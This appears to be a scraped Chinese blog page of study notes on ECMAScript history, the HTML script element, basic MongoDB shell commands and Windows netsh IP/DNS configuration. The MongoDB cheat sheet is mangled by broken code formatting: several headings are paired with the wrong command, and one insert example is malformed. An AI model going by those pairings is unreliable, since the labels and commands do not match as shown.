ECMA-262 第1版:本质上与Netscape的JavaScript 1.1 相同——只不过删除了所有针对浏览器的代码并作了一些较小的改动。 ECMA-262 第2版:这一版中内容的更新是为了与ISO/IEC-16262 保持严格一致,没有作任何新增、修改或删节处理。
ECMA-262 第3版:才是对该标准第一次真正的修改。修改的内容涉及字符串处理、错误定义和数值输出。这一版还新增了对正则表达式、新控制语句、try-catch 异常处理的支持,并围绕标准的国际化做出了一些小的修改。 ECMA-262 第4版:不仅包含了强类型变量、新语句和新数据结构、真正的类和经典继承,还定义了与数据交互的新方式。
与此同时,TC39 下属的一个小组也提出了一个名为ECMAScript 3.1 的替代性建议,该建议只对这
门语言进行了较少的改进。
ECMA-262 第5版:ECMAScript 3.1 成为ECMA-262 第5 版,并于2009 年12 月3 日正式发布。第五版澄清第三版中已知的歧义并添加了原生JSON解析,
继承的方法和高级属性定义,严格模式。
文档对象模型(DOM)(提供访问和操作网页内容的方法和接口)
文档对象模型(DOM,Document Object Model)是针对XML 但经过扩展用于HTML 的应用程序编
程接口(API,Application Programming Interface)。
其他DOM 标准
SVG(Scalable Vector Graphic,可伸缩矢量图)1.0; MathML(Mathematical Markup Language,数学标记语言)1.0;
SMIL(Synchronized Multimedia Integration Language,同步多媒体集成语言)。 浏览器对象模型(BOM)(提供与浏览器交互的方法和接口)
出新浏览器窗口的功能; 移动、缩放和关闭浏览器窗口的功能;
提供浏览器详细信息的navigator 对象; 提供浏览器所加载页面的详细信息的location 对象;
提供用户显示器分辨率详细信息的screen 对象; 对cookies 的支持;
* 像XMLHttpRequest 和IE 的ActiveXObject 这样的自定义对象。

在HTML 中使用JavaScript

script元素


6个属性 async:可选。表示应该立即下载脚本,但不应妨碍页面中的其他操作,比如下载其他资源或
等待加载其他脚本。只对外部脚本文件有效。
charset:可选。表示通过src 属性指定的代码的字符集。由于大多数浏览器会忽略它的值,
因此这个属性很少有人用。
defer:可选。表示脚本可以延迟到文档完全被解析和显示之后再执行。只对外部脚本文件有
效。
language:已废弃。原来用于表示编写代码使用的脚本语言(如JavaScript、JavaScript1.2
或VBScript)。大多数浏览器会忽略这个属性,因此也没有必要再用了。
src:可选。表示包含要执行代码的外部文件。
type:可选。可以看成是language 的替代属性(默认值为text/javascript) 注意转义
1
2
3
4
5
6
<script type="text/javascript">
function sayScript(){
alert("<\/script>");
//此处要加转义符
}
</script>


注意不可省略
1
2
3
4
<script type="text/javascript" src="example.js"><script/>
<!--注意:此处不能写成
<script type="text/javascript" src="example.js"/>
-->
带有src 属性的\元素不应该在其\和\标签之间再
包含额外的JavaScript 代码。如果包含了嵌入的代码,则只会下载并执行外部
脚本文件,嵌入的代码会被忽略。

无论如何包含代码,只要不存在defer 和async 属性,浏览器都会按照\元素在页面中
出现的先后顺序对它们依次进行解析。(解析完第一个才会解析第二个)
由于浏览器会先解析完不使用defer 属性的\元素中的代码,然后再解析后面的内容,
所以一般应该把\元素放在页面最后,即主要内容后面,\标签前面。

嵌入代码与外部文件

  • 外部文件的优点:
    • 可维护性
    • 可缓存(如果有两个页面都使用同一个文件,那么这个文件只需下载一次。)
    • 适应未来(不存在上面提到的转义问题)

noscript元素

  • 浏览器不支持脚本,或者浏览器支持脚本,但脚本被禁用时会显示标签中的文本。

评论和共享

开启服务:
  • --dbpath D:\mongodb\db```
    1
    2
    3

    ##### **Shell 启动:**
    - ```mongo
查看集合:
  • dbs```
    1
    2
    3

    ##### **删除集合:**
    - ```db.rumoob.drop()
选择集合:
  • test```
    1
    2
    3
    4


    ##### **查看文档:**
    - ```show collections
删除文档:
  • 1
    2
    3
    4


    ##### **插入元组:**
    - ```db.mydb.insert({'name':'killer'},{'password':'121021'})
查找元组:
  • 1
    - ```db.mydb.find().pretty()    //整齐排列
  • 1
    2
    3

    ##### **修改元组:**
    - ```db.col.update({'title':'test'},{$set:{'likes':100}});
  • "_id" : ObjectId("56064f89ade2f21f36b03136","name":"kill master")});```
    1
    2
    3

    ##### **删除元组:**
    - ```db.col.remove({'name':'killer'})

评论和共享

将IP和DNS配置为静态

  • netsh interface ip set address 以太网 static 123.123.123.123 255.255.255.192 123.123.123.1
  • netsh interface ip set dns "以太网" static 202.207.0.1

将IP和DNS配置为动态

  • netsh interface ip set address "以太网" dhcp
  • netsh interface ip set dns "以太网" dhcp

也可以写入到 .bat 批处理脚本中

评论和共享

作者的图片

Archie Shi

Nothing to say


Front-End Development Engineer